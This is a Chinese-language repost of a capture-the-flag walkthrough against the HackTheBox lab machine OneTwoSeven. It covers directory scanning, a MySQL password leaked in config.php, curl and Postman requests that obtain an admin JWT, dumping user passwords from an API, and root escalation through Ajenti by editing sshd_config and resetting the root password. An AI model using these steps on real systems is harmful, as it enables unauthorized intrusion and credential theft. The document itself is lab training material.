官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
- 关注
—————— 昨日回顾 ——————
红日安全出品|转载请注明来源
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用任何人不得将其用于非法用途以及盈利等目的否则后果自行承担来源红日安全
渗透测试 | HTB-OneTwoSeven实战
—————— —————— —————
信息收集
打开10.10.10.137 发现就⼀个静态⻚⾯⼀般我习惯先看⼀下源码发现是⼀个静态⻚⾯⽤了
Bootstrap 4
端口测试
21/tcp ftp
22/tcp ssh
80/tcp http
3000/tcp ppp
8000/tcp http-alt
1. 10.10.10.137:8000 ⼀个Ajenti登陆⻚⾯
2. 10.10.10.137:3000返回
{"success":false,"message":"Auth token is not supplied"}目录遍历
习惯⽤dirsearch.py 分别对80、3000进⾏⽬录遍历
80端⼝发现
[17:51:04] 403 - 220B - /.ht_wsr.txt
[17:51:04] 403 - 222B - /.htaccess-dev
[17:51:04] 403 - 224B - /.htaccess-local
[17:51:04] 403 - 213B - /.hta
[17:51:04] 403 - 224B - /.htaccess-marco
[17:51:04] 403 - 223B - /.htaccess.bak1
[17:51:04] 403 - 222B - /.htaccess.BAK
[17:51:04] 403 - 222B - /.htaccess.old
[17:51:05] 403 - 221B - /.htaccessOLD
[17:51:05] 403 - 223B - /.htaccess.orig[17:51:05] 403 - 223B - /.htaccess_orig
[17:51:05] 403 - 225B - /.htaccess.sample
[17:51:05] 403 - 222B - /.htaccess.txt
[17:51:05] 403 - 221B - /.htaccess_sc
[17:51:05] 403 - 221B - /.htaccessBAK
[17:51:05] 403 - 224B - /.htaccess_extra
[17:51:05] 403 - 223B - /.htaccess.save
[17:51:05] 403 - 222B - /.htpasswd-old
[17:51:05] 403 - 219B - /.htaccess~
[17:51:05] 403 - 219B - /.htpasswds
[17:51:05] 403 - 223B - /.htpasswd_test
[17:51:05] 403 - 222B - /.htaccessOLD2
[17:51:05] 403 - 217B - /.htgroup
[17:51:06] 403 - 217B - /.htusers
[17:53:16] 200 - 202B - /config.php
[17:53:25] 301 - 232B - /css -> http://10.10[17:54:02] 200 - 1KB - /gulpfile.js
[17:54:16] 200 - 3KB - /index.html
[17:54:24] 301 - 231B - /js -> http://10.10.1[17:54:30] 200 - 1KB - /LICENSE
[17:54:36] 200 - 2KB - /login.php
[17:54:43] 401 - 381B - /management
[17:54:43] 401 - 381B - /management/
[17:54:46] 301 - 235B - /member -> http://10[17:54:46] 200 - 216B - /member/
[17:55:06] 200 - 1KB - /package.json
[17:55:35] 200 - 4KB - /README.md
其中 /management 和 login.php 也是⼀个登陆⻚⾯⽽ /config.php 包括了mysql账号密码
$dbHost = 'localhost'; $dbUsername = 'root'; $dbPassword = 'Zk6heYCyv6ZE9Xcg';
$db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or
die("Connect failed: %s\n". $conn -> error);
3000端⼝发现
[22:30:18] Starting:
[22:34:38] 200 - 13B - /login
[22:34:38] 200 - 13B - /Login
[22:34:40] 200 - 13B - /login/
[22:35:42] 503 - 0B - /pmyadmin/
[22:37:02] 200 - 56B - /users
[22:37:03] 200 - 56B - /users/admin
[22:37:03] 200 - 56B - /users/其中 /login 返回 "please auth" , users 也是返回 {"success":false,"message":"Auth token
is not supplied"}整合信息
三个登陆⻚⾯
10.10.10.137:8000、10.10.10.137/login.php、10.10.10.137/management
⼀个mysql账号密码root/Zk6heYCyv6ZE9Xcg
10.10.10.137:3000返回信息
{"success":false,"message":"Auth token is not supplied"}
10.10.10.137:3000/login返回
"please auth"具体分析
突破⼝在
在 "Auth token is not supplied"Google⼀下发现是jwt认证失败的⼀个返回信息因此推测应该构造认证信息post到
10.10.10.137:3000然后获取到⽤户凭证接着⽤这个⽤户凭证去请求
10.10.10.137:3000/users。
这⾥post的⽤户信息⼤概就是上⾯的mysql账户密码因为只有这⼀个可以⽤了⽽且这个账户信息尝试
登陆在⼏个登陆⻚⾯以及mysql服务端均没有成功。
使⽤curl
curl -s -X POST -H 'Accept: application/json' -H 'Content-Type:
application/json' --data '{"usename":"admin","password":"Zk6heYCyv6ZE9Xcg"}'
http://10.10.10.137:3000/logi
回显信息
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected token r in JSON at position 11<br>
at JSON.parse (<anonymous>)<br> at parse
(/nodeapp/node_modules/body-parser/lib/types/json.js:89:19)<br>
at /nodeapp/node_modules/body-parser/lib/read.js:121:18<br>
at invokeCallback (/nodeapp/node_modules/raw-body/index.js:224:16)<br>
at done (/nodeapp/node_modules/raw-body/index.js:213:7)<br>
at IncomingMessage.onEnd (/nodeapp/node_modules/rawbody/index.js:273:7)<br> at IncomingMessage.emit
(events.js:202:15)<br> at endReadableNT
(_stream_readable.js:1132:12)<br> at processTicksAndRejections
(internal/process/next_tick.js:76:17)</pre>
</body>
</htm
不知道是什么原因估计是curl哪⾥构造错了但是可以确定的是思路是对的换⽤postman发送json
请求
获取到admin的
token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY
3NjY5MDI5LCJleHAiOjE1Njc3NTU0Mjl9.RXpmi8wbxNoRad-0grsWbMYK0a6_SVObti1aoiro8qU
⽤这个token请求/users和/users/{user}
curl -H 'Accept: application/json' -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY3N
jY5MDI5LCJleHAiOjE1Njc3NTU0Mjl9.RXpmi8wbxNoRad-0grsWbMYK0a6_SVObti1aoiro8qU"
https://10.10.10.137:3000/users
获取到
[{"ID":"1","name":"Admin","Role":"Superuser"},
{"ID":"2","name":"Derry","Role":"Web Admin"},
{"ID":"3","name":"Yuri","Role":"Beta Tester"},
{"ID":"4","name":"Dory","Role":"Supporter"}]
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}%
{"name":"Yuri","password":"bet@tester87"}%
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}%
{"name":"Dory","password":"5y:!xa=ybfe)/QD"
登陆到http://10.10.10.137/management访问http://10.10.10.137/management/config.json
获取到root/KpMasng6S5EtTy9Z的账户信息最后登陆到
10.10.10.137:8000
flag:8448343028fadde1e2a1b0a44d01e650
提权
直接⽤root/KpMasng6S5EtTy9Z登陆ssh不⾏说明这只是web的账号。但是ajenti服务是具有root权
限的也说明可以任意操作了。
⽤File Manager翻了⼀下配置⽂件可以直接找到ssh的配置⽂件/etc/sshd_config并且有编辑的权限。
那么修改配置项
PermitRootLogin yes
重新启动ssh服务再试⼀下登陆ssh发现还是不⾏可能root
密码并不是web账户密码这⾥有Users打开并直接重置root密码不需要旧密码重置
ssh登陆
海量安全课程 点击以下链接 即可观看
http://qiyuanxuetang.net/courses/
- 0 文章数
- 0 关注者